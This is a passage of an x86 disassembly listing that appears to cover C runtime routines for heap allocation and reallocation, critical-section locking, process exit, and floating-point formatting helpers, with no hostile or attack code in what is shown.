eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_42819E loc_4281C8: ; CODE XREF: sub_428038+15Ej mov off_44BA98, edi lea eax, [edi+2018h] loc_4281D4: ; CODE XREF: sub_428038+1A8j cmp ecx, eax jnb short loc_4281E4 cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_4281E2 add ecx, 8 jmp short loc_4281D4 ; --------------------------------------------------------------------------- loc_4281E2: ; CODE XREF: sub_428038+1A3j cmp ecx, eax loc_4281E4: ; CODE XREF: sub_428038+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_42823B ; --------------------------------------------------------------------------- loc_428207: ; CODE XREF: sub_428038+F2j call sub_427D40 test eax, eax jz short loc_428239 mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_44BA98, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_42823B ; --------------------------------------------------------------------------- loc_428239: ; CODE XREF: sub_428038+143j ; sub_428038+1D6j xor eax, eax loc_42823B: ; CODE XREF: sub_428038+D6j ; sub_428038+1CDj ... pop edi pop esi pop ebx leave retn sub_428038 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428240 proc near ; CODE XREF: sub_428038+4Ap ; sub_428038+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_428285 lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_428274 add [ecx], edx sub [ecx+4], edx jmp short loc_42827D ; --------------------------------------------------------------------------- loc_428274: ; CODE XREF: sub_428240+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_42827D: ; CODE XREF: sub_428240+32j lea eax, [edi+8] jmp loc_428353 ; --------------------------------------------------------------------------- loc_428285: ; CODE XREF: sub_428240+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_42828E mov eax, esi loc_42828E: ; CODE XREF: sub_428240+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_4282D8 loc_428295: ; CODE XREF: sub_428240+96j mov bl, [eax] test bl, bl jnz short loc_4282CB push 1 lea ebx, [eax+1] pop esi loc_4282A1: ; CODE XREF: sub_428240+68j cmp byte ptr [ebx], 0 jnz short loc_4282AA inc ebx inc esi jmp short loc_4282A1 ; --------------------------------------------------------------------------- loc_4282AA: ; CODE XREF: sub_428240+64j cmp esi, edx jnb short loc_4282FC cmp eax, [ebp+var_4] jnz short loc_4282B8 mov [ecx+4], esi jmp short loc_4282C4 ; --------------------------------------------------------------------------- loc_4282B8: ; CODE XREF: sub_428240+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_42835D loc_4282C4: ; CODE XREF: sub_428240+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_4282D0 ; --------------------------------------------------------------------------- loc_4282CB: ; CODE XREF: sub_428240+59j movzx esi, bl add eax, esi loc_4282D0: ; CODE XREF: sub_428240+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_428295 loc_4282D8: ; CODE XREF: sub_428240+53j lea esi, [ecx+8] loc_4282DB: ; CODE XREF: sub_428240+EBj ; sub_428240+F2j cmp esi, edi jnb short loc_42835D lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_42835D mov al, [esi] test al, al jnz short loc_42832D push 1 lea ebx, [esi+1] pop eax loc_4282F3: ; CODE XREF: sub_428240+BAj cmp byte ptr [ebx], 0 jnz short loc_42831D inc ebx inc eax jmp short loc_4282F3 ; --------------------------------------------------------------------------- loc_4282FC: ; CODE XREF: sub_428240+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_42830D sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_428316 ; --------------------------------------------------------------------------- loc_42830D: ; CODE XREF: sub_428240+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_428316: ; CODE XREF: sub_428240+CBj mov [eax], dl add eax, 8 jmp short loc_428353 ; --------------------------------------------------------------------------- loc_42831D: ; CODE XREF: sub_428240+B6j cmp eax, edx jnb short loc_428334 sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_42835D mov esi, ebx jmp short loc_4282DB ; --------------------------------------------------------------------------- loc_42832D: ; CODE XREF: sub_428240+ABj movzx eax, al add esi, eax jmp short loc_4282DB ; --------------------------------------------------------------------------- loc_428334: ; CODE XREF: sub_428240+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_428345 sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_42834E ; --------------------------------------------------------------------------- loc_428345: ; CODE XREF: sub_428240+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_42834E: ; CODE XREF: sub_428240+103j mov [esi], dl lea eax, [esi+8] loc_428353: ; CODE XREF: sub_428240+40j ; sub_428240+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_42835F ; --------------------------------------------------------------------------- loc_42835D: ; CODE XREF: sub_428240+7Ej ; sub_428240+9Dj ... xor eax, eax loc_42835F: ; CODE XREF: sub_428240+11Bj pop edi pop esi pop ebx leave retn sub_428240 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428364 proc near ; CODE XREF: sub_4285CC+202p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_42839E mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_4283FE ; --------------------------------------------------------------------------- loc_42839E: ; CODE XREF: sub_428364+26j jnb short loc_428405 mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_428405 lea eax, [ecx+edx] loc_4283B3: ; CODE XREF: sub_428364+59j cmp eax, esi jnb short loc_4283C1 cmp byte ptr [eax], 0 jnz short loc_4283BF inc eax jmp short loc_4283B3 ; --------------------------------------------------------------------------- loc_4283BF: ; CODE XREF: sub_428364+56j cmp eax, esi loc_4283C1: ; CODE XREF: sub_428364+51j jnz short loc_428405 mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_4283F9 cmp esi, eax jbe short loc_4283F9 lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_4283F0 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_4283EB loc_4283E4: ; CODE XREF: sub_428364+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_4283E4 loc_4283EB: ; CODE XREF: sub_428364+7Ej mov [ebx+4], eax jmp short loc_4283F9 ; --------------------------------------------------------------------------- loc_4283F0: ; CODE XREF: sub_428364+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_4283F9: ; CODE XREF: sub_428364+68j ; sub_428364+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_4283FE: ; CODE XREF: sub_428364+38j mov [ebp+var_4], 1 loc_428405: ; CODE XREF: sub_428364:loc_42839Ej ; sub_428364+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_428364 endp ; =============== S U B R O U T I N E ======================================= sub_42840D proc near ; CODE XREF: sub_425936+1p push esi mov esi, dword_42F1CC push off_44BAE4 call esi ; dword_42F1CC push off_44BAD4 call esi ; dword_42F1CC push off_44BAC4 call esi ; dword_42F1CC push off_44BAA4 call esi ; dword_42F1CC pop esi retn sub_42840D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428436 proc near ; CODE XREF: sub_422FB7+3Ep ; sub_422FB7+94p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi cmp dword_44BAA0[eax*4], 0 lea esi, ds:44BAA0h[eax*4] jnz short loc_42848C push edi push 18h call sub_422F79 mov edi, eax pop ecx test edi, edi jnz short loc_428465 push 11h call sub_424FCB pop ecx loc_428465: ; CODE XREF: sub_428436+25j push 11h call sub_428436 cmp dword ptr [esi], 0 pop ecx push edi jnz short loc_42847D call dword_42F1CC ; InitializeCriticalSection mov [esi], edi jmp short loc_428483 ; --------------------------------------------------------------------------- loc_42847D: ; CODE XREF: sub_428436+3Bj call sub_4230B3 pop ecx loc_428483: ; CODE XREF: sub_428436+45j push 11h call sub_428497 pop ecx pop edi loc_42848C: ; CODE XREF: sub_428436+16j push dword ptr [esi] call dword_42F140 ; RtlEnterCriticalSection pop esi pop ebp retn sub_428436 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428497 proc near ; CODE XREF: sub_42301E+2p ; sub_42307D+2p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push dword_44BAA0[eax*4] call dword_42F144 ; RtlLeaveCriticalSection pop ebp retn sub_428497 endp ; =============== S U B R O U T I N E ======================================= sub_4284AC proc near ; CODE XREF: .text:00424F68p mov eax, off_4493C8 test eax, eax jz short loc_4284B7 call eax ; sub_42346C loc_4284B7: ; CODE XREF: sub_4284AC+7j push offset dword_432030 push offset dword_43201C call sub_4285B2 push offset dword_432018 push offset dword_432000 call sub_4285B2 add esp, 10h retn sub_4284AC endp ; =============== S U B R O U T I N E ======================================= sub_4284D9 proc near ; CODE XREF: .text:00424FA7p arg_0 = dword ptr 4 push 0 push 0 push [esp+8+arg_0] call sub_4284FB add esp, 0Ch retn sub_4284D9 endp ; =============== S U B R O U T I N E ======================================= sub_4284EA proc near ; CODE XREF: .text:00424FC6p ; sub_424FCB+1Cp ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_4284FB add esp, 0Ch retn sub_4284EA endp ; =============== S U B R O U T I N E ======================================= sub_4284FB proc near ; CODE XREF: sub_4284D9+8p ; sub_4284EA+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi call sub_4285A0 push 1 pop edi cmp dword_6314A8, edi jnz short loc_42851D push [esp+4+arg_0] call dword_42F040 ; GetCurrentProcess push eax call dword_42F0EC ; TerminateProcess loc_42851D: ; CODE XREF: sub_4284FB+Fj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_6314A4, edi mov byte_6314A0, bl jnz short loc_428571 mov eax, dword_63199C test eax, eax jz short loc_428560 mov ecx, dword_631998 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_42855F loc_42854C: ; CODE XREF: sub_4284FB+62j mov eax, [esi] test eax, eax jz short loc_428554 call eax loc_428554: ; CODE XREF: sub_4284FB+55j sub esi, 4 cmp esi, dword_63199C jnb short loc_42854C loc_42855F: ; CODE XREF: sub_4284FB+4Fj pop esi loc_428560: ; CODE XREF: sub_4284FB+41j push offset dword_43203C push offset dword_432034 call sub_4285B2 pop ecx pop ecx loc_428571: ; CODE XREF: sub_4284FB+38j push offset dword_432048 push offset dword_432040 call sub_4285B2 pop ecx pop ecx test ebx, ebx pop ebx jz short loc_42858E call sub_4285A9 pop edi retn ; --------------------------------------------------------------------------- loc_42858E: ; CODE XREF: sub_4284FB+8Aj push [esp+4+arg_0] mov dword_6314A8, edi call dword_42F06C ; ExitProcess pop edi retn sub_4284FB endp ; =============== S U B R O U T I N E ======================================= sub_4285A0 proc near ; CODE XREF: sub_42319C+1p ; sub_4284FB+1p push 0Dh call sub_428436 pop ecx retn sub_4285A0 endp ; =============== S U B R O U T I N E ======================================= sub_4285A9 proc near ; CODE XREF: sub_42319C:loc_423211p ; sub_4284FB+8Cp push 0Dh call sub_428497 pop ecx retn sub_4285A9 endp ; =============== S U B R O U T I N E ======================================= sub_4285B2 proc near ; CODE XREF: sub_4284AC+15p ; sub_4284AC+24p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_4285B7: ; CODE XREF: sub_4285B2+16j cmp esi, [esp+4+arg_4] jnb short loc_4285CA mov eax, [esi] test eax, eax jz short loc_4285C5 call eax loc_4285C5: ; CODE XREF: sub_4285B2+Fj add esi, 4 jmp short loc_4285B7 ; --------------------------------------------------------------------------- loc_4285CA: ; CODE XREF: sub_4285B2+9j pop esi retn sub_4285B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4285CC proc near ; CODE XREF: sub_42319C+39p ; sub_42E568+EDp ... var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00428760 SIZE 0000013F BYTES ; FUNCTION CHUNK AT 004288B0 SIZE 0000004B BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_42F508 push offset sub_424B30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 28h push ebx push esi push edi mov ebx, [ebp+arg_0] xor edi, edi cmp ebx, edi jnz short loc_428606 push [ebp+arg_4] call sub_422F79 pop ecx jmp loc_4288EC ; --------------------------------------------------------------------------- loc_428606: ; CODE XREF: sub_4285CC+2Aj mov esi, [ebp+arg_4] cmp esi, edi jnz short loc_428619 push ebx call sub_4230B3 pop ecx jmp loc_4288EA ; --------------------------------------------------------------------------- loc_428619: ; CODE XREF: sub_4285CC+3Fj mov eax, dword_6319C0 cmp eax, 3 jnz loc_428760 loc_428627: ; CODE XREF: sub_4285CC+178j mov [ebp+var_24], edi cmp esi, 0FFFFFFE0h ja loc_428724 push 9 call sub_428436 pop ecx mov [ebp+var_4], edi push ebx call sub_427241 pop ecx mov [ebp+var_28], eax cmp eax, edi jz loc_4286F4 cmp esi, dword_6319B8 ja short loc_4286A4 push esi push ebx push eax call sub_427A4A add esp, 0Ch test eax, eax jz short loc_42866C mov [ebp+var_24], ebx jmp short loc_4286A4 ; --------------------------------------------------------------------------- loc_42866C: ; CODE XREF: sub_4285CC+99j push esi call sub_427595 pop ecx mov [ebp+var_24], eax cmp eax, edi jz short loc_4286A4 mov eax, [ebx-4] dec eax mov [ebp+var_20], eax cmp eax, esi jb short loc_428687 mov eax, esi loc_428687: ; CODE XREF: sub_4285CC+B7j push eax push ebx push [ebp+var_24] call sub_4223F0 push ebx call sub_427241 mov [ebp+var_28], eax push ebx push eax call sub_42726C add esp, 18h loc_4286A4: ; CODE XREF: sub_4285CC+8Aj ; sub_4285CC+9Ej ... cmp [ebp+var_24], edi jnz short loc_4286F4 cmp esi, edi jnz short loc_4286B3 push 1 pop esi mov [ebp+arg_4], esi loc_4286B3: ; CODE XREF: sub_4285CC+DFj add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi push esi push edi push dword_6319BC call dword_42F1EC ; RtlAllocateHeap mov [ebp+var_24], eax cmp eax, edi jz short loc_4286F4 mov eax, [ebx-4] dec eax mov [ebp+var_20], eax cmp eax, esi jb short loc_4286DE mov eax, esi loc_4286DE: ; CODE XREF: sub_4285CC+10Ej push eax push ebx push [ebp+var_24] call sub_4223F0 push ebx push [ebp+var_28] call sub_42726C add esp, 14h loc_4286F4: ; CODE XREF: sub_4285CC+7Ej ; sub_4285CC+DBj ... or [ebp+var_4], 0FFFFFFFFh call sub_428757 cmp [ebp+var_28], edi jnz short loc_428724 cmp esi, edi jnz short loc_428709 push 1 pop esi loc_428709: ; CODE XREF: sub_4285CC+138j add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi push esi push ebx push edi push dword_6319BC call dword_42F1B4 ; RtlReAllocateHeap mov [ebp+var_24], eax loc_428724: ; CODE XREF: sub_4285CC+61j ; sub_4285CC+134j mov eax, [ebp+var_24] cmp eax, edi jnz loc_4288EC cmp dword_6313F8, edi jz loc_4288EC push esi call sub_42700C pop ecx test eax, eax jnz loc_428627 jmp loc_4288EA sub_4285CC endp ; =============== S U B R O U T I N E ======================================= sub_42874F proc near ; DATA XREF: .text:0042F510o mov esi, [ebp+0Ch] mov ebx, [ebp+8] xor edi, edi sub_42874F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428757 proc near ; CODE XREF: sub_4285CC+12Cp push 9 call sub_428497 pop ecx retn sub_428757 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4285CC loc_428760: ; CODE XREF: sub_4285CC+55j cmp eax, 2 jnz loc_4288B0 cmp esi, 0FFFFFFE0h ja short loc_428780 cmp esi, edi jbe short loc_42877A add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_42877D ; --------------------------------------------------------------------------- loc_42877A: ; CODE XREF: sub_4285CC+1A4j push 10h pop esi loc_42877D: ; CODE XREF: sub_4285CC+1ACj mov [ebp+arg_4], esi loc_428780: ; CODE XREF: sub_4285CC+1A0j ; sub_4285CC+2CBj mov [ebp+var_24], edi cmp esi, 0FFFFFFE0h ja loc_42887F push 9 call sub_428436 pop ecx mov [ebp+var_4], 1 lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_38] push eax push ebx call sub_427F9C add esp, 0Ch mov edi, eax mov [ebp+var_30], edi test edi, edi jz loc_428863 cmp esi, dword_44BA9C jnb short loc_42881D mov ebx, esi shr ebx, 4 push ebx push edi push [ebp+var_2C] push [ebp+var_38] call sub_428364 add esp, 10h test eax, eax jz short loc_4287E2 mov eax, [ebp+arg_0] mov [ebp+var_24], eax jmp short loc_42881A ; --------------------------------------------------------------------------- loc_4287E2: ; CODE XREF: sub_4285CC+20Cj push ebx call sub_428038 pop ecx mov [ebp+var_24], eax test eax, eax jz short loc_42881A movzx eax, byte ptr [edi] shl eax, 4 mov [ebp+var_34], eax cmp eax, esi jb short loc_4287FF mov eax, esi loc_4287FF: ; CODE XREF: sub_4285CC+22Fj push eax push [ebp+arg_0] push [ebp+var_24] call sub_4223F0 push edi push [ebp+var_2C] push [ebp+var_38] call sub_427FF3 add esp, 18h loc_42881A: ; CODE XREF: sub_4285CC+214j ; sub_4285CC+222j mov ebx, [ebp+arg_0] loc_42881D: ; CODE XREF: sub_4285CC+1F3j cmp [ebp+var_24], 0 jnz short loc_428876 push esi push 0 push dword_6319BC call dword_42F1EC ; RtlAllocateHeap mov [ebp+var_24], eax test eax, eax jz short loc_428876 movzx eax, byte ptr [edi] shl eax, 4 mov [ebp+var_34], eax cmp eax, esi jb short loc_428848 mov eax, esi loc_428848: ; CODE XREF: sub_4285CC+278j push eax push ebx push [ebp+var_24] call sub_4223F0 push edi push [ebp+var_2C] push [ebp+var_38] call sub_427FF3 add esp, 18h jmp short loc_428876 ; --------------------------------------------------------------------------- loc_428863: ; CODE XREF: sub_4285CC+1E7j push esi push ebx push 0 push dword_6319BC call dword_42F1B4 ; RtlReAllocateHeap mov [ebp+var_24], eax loc_428876: ; CODE XREF: sub_4285CC+255j ; sub_4285CC+26Bj ... or [ebp+var_4], 0FFFFFFFFh call sub_4288A5 loc_42887F: ; CODE XREF: sub_4285CC+1BAj mov eax, [ebp+var_24] cmp eax, edi jnz short loc_4288EC cmp dword_6313F8, edi jz short loc_4288EC push esi call sub_42700C pop ecx test eax, eax jnz loc_428780 jmp short loc_4288EA ; END OF FUNCTION CHUNK FOR sub_4285CC ; =============== S U B R O U T I N E ======================================= sub_42889F proc near ; DATA XREF: .text:0042F51Co mov esi, [ebp+0Ch] mov ebx, [ebp+8] sub_42889F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4288A5 proc near ; CODE XREF: sub_4285CC+2AEp push 9 call sub_428497 pop ecx xor edi, edi retn sub_4288A5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4285CC loc_4288B0: ; CODE XREF: sub_4285CC+197j ; sub_4285CC+31Cj xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_4288D3 cmp esi, edi jnz short loc_4288BE push 1 pop esi loc_4288BE: ; CODE XREF: sub_4285CC+2EDj add esi, 0Fh and esi, 0FFFFFFF0h push esi push ebx push edi push dword_6319BC call dword_42F1B4 ; RtlReAllocateHeap loc_4288D3: ; CODE XREF: sub_4285CC+2E9j cmp eax, edi jnz short loc_4288EC cmp dword_6313F8, edi jz short loc_4288EC push esi call sub_42700C pop ecx test eax, eax jnz short loc_4288B0 loc_4288EA: ; CODE XREF: sub_4285CC+48j ; sub_4285CC+17Ej ... xor eax, eax loc_4288EC: ; CODE XREF: sub_4285CC+35j ; sub_4285CC+15Dj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_4285CC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4288FB proc near ; CODE XREF: sub_42319C+Cp ; sub_42319C+2Ap var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 0042896E SIZE 0000006F BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_42F520 push offset sub_424B30 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov eax, dword_6319C0 cmp eax, 3 jnz short loc_42896E push 9 call sub_428436 pop ecx and [ebp+var_4], 0 mov esi, [ebp+arg_0] push esi call sub_427241 pop ecx mov [ebp+var_1C], eax test eax, eax jz short loc_428950 mov esi, [esi-4] sub esi, 9 mov [ebp+var_20], esi jmp short loc_428953 ; --------------------------------------------------------------------------- loc_428950: ; CODE XREF: sub_4288FB+48j mov esi, [ebp+var_20] loc_428953: ; CODE XREF: sub_4288FB+53j or [ebp+var_4], 0FFFFFFFFh call sub_428965 cmp [ebp+var_1C], 0 jmp short loc_4289B7 sub_4288FB endp ; =============== S U B R O U T I N E ======================================= sub_428962 proc near ; DATA XREF: .text:0042F528o mov esi, [ebp-20h] sub_428962 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428965 proc near ; CODE XREF: sub_4288FB+5Cp push 9 call sub_428497 pop ecx retn sub_428965 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4288FB loc_42896E: ; CODE XREF: sub_4288FB+2Bj cmp eax, 2 jnz short loc_4289B9 push 9 call sub_428436 pop ecx mov [ebp+var_4], 1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_2C] push eax push [ebp+arg_0] call sub_427F9C add esp, 0Ch mov [ebp+var_28], eax test eax, eax jz short loc_4289A7 movzx esi, byte ptr [eax] shl esi, 4 mov [ebp+var_20], esi jmp short loc_4289AA ; --------------------------------------------------------------------------- loc_4289A7: ; CODE XREF: sub_4288FB+9Fj mov esi, [ebp+var_20] loc_4289AA: ; CODE XREF: sub_4288FB+AAj or [ebp+var_4], 0FFFFFFFFh call sub_4289E0 cmp [ebp+var_28], 0 loc_4289B7: ; CODE XREF: sub_4288FB+65j jnz short loc_4289CC loc_4289B9: ; CODE XREF: sub_4288FB+76j push [ebp+arg_0] push 0 push dword_6319BC call dword_42F1AC ; RtlSizeHeap mov esi, eax loc_4289CC: ; CODE XREF: sub_4288FB:loc_4289B7j mov eax, esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_4288FB ; =============== S U B R O U T I N E ======================================= sub_4289DD proc near ; DATA XREF: .text:0042F534o mov esi, [ebp-20h] sub_4289DD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4289E0 proc near ; CODE XREF: sub_4288FB+B3p push 9 call sub_428497 pop ecx retn sub_4289E0 endp ; =============== S U B R O U T I N E ======================================= sub_4289E9 proc near ; CODE XREF: sub_42346C+Fp push 30000h push 10000h call sub_42C29E pop ecx pop ecx retn sub_4289E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4289FB proc near ; CODE XREF: sub_428A39:loc_428A5Dj var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_42F540 fstp [ebp+var_8] fld dbl_42F538 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_42F450 fnstsw ax sahf jbe short loc_428A35 push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_428A35: ; CODE XREF: sub_4289FB+33j xor eax, eax leave retn sub_4289FB endp ; =============== S U B R O U T I N E ======================================= sub_428A39 proc near ; CODE XREF: sub_42346C+5p push offset aKernel32 ; "KERNEL32" call dword_42F074 ; GetModuleHandleA test eax, eax jz short loc_428A5D push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call dword_42F13C ; GetProcAddress test eax, eax jz short loc_428A5D push 0 call eax ; sub_42346C retn ; --------------------------------------------------------------------------- loc_428A5D: ; CODE XREF: sub_428A39+Dj ; sub_428A39+1Dj jmp sub_4289FB sub_428A39 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428A62 proc near ; CODE XREF: sub_42512C+3CBp ; DATA XREF: sub_423484+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_42A731 cmp eax, 65h pop ecx jz short loc_428AA2 loc_428A76: ; CODE XREF: sub_428A62+3Ej inc esi cmp dword_449A44, 1 jle short loc_428A8F movsx eax, byte ptr [esi] push 4 push eax call sub_42653A pop ecx pop ecx jmp short loc_428A9E ; --------------------------------------------------------------------------- loc_428A8F: ; CODE XREF: sub_428A62+1Cj movsx eax, byte ptr [esi] mov ecx, off_449838 mov al, [ecx+eax*2] and eax, 4 loc_428A9E: ; CODE XREF: sub_428A62+2Bj test eax, eax jnz short loc_428A76 loc_428AA2: ; CODE XREF: sub_428A62+12j mov cl, byte_449A48 mov al, [esi] mov [esi], cl inc esi loc_428AAD: ; CODE XREF: sub_428A62+56j mov cl, [esi] mov [esi], al mov al, cl mov cl, [esi] inc esi test cl, cl jnz short loc_428AAD pop esi retn sub_428A62 endp ; =============== S U B R O U T I N E ======================================= sub_428ABC proc near ; CODE XREF: sub_42512C+3E2p ; DATA XREF: sub_423484+5o ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dl, byte_449A48 mov cl, [eax] test cl, cl jz short loc_428AD8 loc_428ACC: ; CODE XREF: sub_428ABC+1Aj cmp cl, dl jz short loc_428AD8 mov cl, [eax+1] inc eax test cl, cl jnz short loc_428ACC loc_428AD8: ; CODE XREF: sub_428ABC+Ej ; sub_428ABC+12j mov cl, [eax] inc eax test cl, cl jz short locret_428B09 loc_428ADF: ; CODE XREF: sub_428ABC+34j mov cl, [eax] test cl, cl jz short loc_428AF2 cmp cl, 65h jz short loc_428AF2 cmp cl, 45h jz short loc_428AF2 inc eax jmp short loc_428ADF ; --------------------------------------------------------------------------- loc_428AF2: ; CODE XREF: sub_428ABC+27j ; sub_428ABC+2Cj ... mov ecx, eax loc_428AF4: ; CODE XREF: sub_428ABC+3Cj dec eax cmp byte ptr [eax], 30h jz short loc_428AF4 cmp [eax], dl jnz short loc_428AFF dec eax loc_428AFF: ; CODE XREF: sub_428ABC+40j ; sub_428ABC+4Bj mov dl, [ecx] inc eax inc ecx test dl, dl mov [eax], dl jnz short loc_428AFF locret_428B09: ; CODE XREF: sub_428ABC+21j retn sub_428ABC endp ; =============== S U B R O U T I N E ======================================= sub_428B0A proc near ; DATA XREF: sub_423484+28o ; .text:off_44BB70o arg_0 = dword ptr 4 mov eax, [esp+arg_0] fld qword ptr [eax] fcomp dbl_42F570 fnstsw ax sahf jb short loc_428B1F push 1 pop eax retn ; --------------------------------------------------------------------------- loc_428B1F: ; CODE XREF: sub_428B0A+Fj xor eax, eax retn sub_428B0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428B22 proc near ; CODE XREF: sub_425A04+430p ; DATA XREF: sub_423484+14o ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_0], 0 push [ebp+arg_8] jz short loc_428B4B lea eax, [ebp+var_8] push eax call sub_42C761 mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+var_8] mov [eax], ecx mov ecx, [ebp+var_4] mov [eax+4], ecx leave retn ; --------------------------------------------------------------------------- loc_428B4B: ; CODE XREF: sub_428B22+Cj lea eax, [ebp+arg_8] push eax call sub_42C78E mov eax, [ebp+arg_4] pop ecx pop ecx mov ecx, [ebp+arg_8] mov [eax], ecx leave retn sub_428B22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428B60 proc near ; CODE 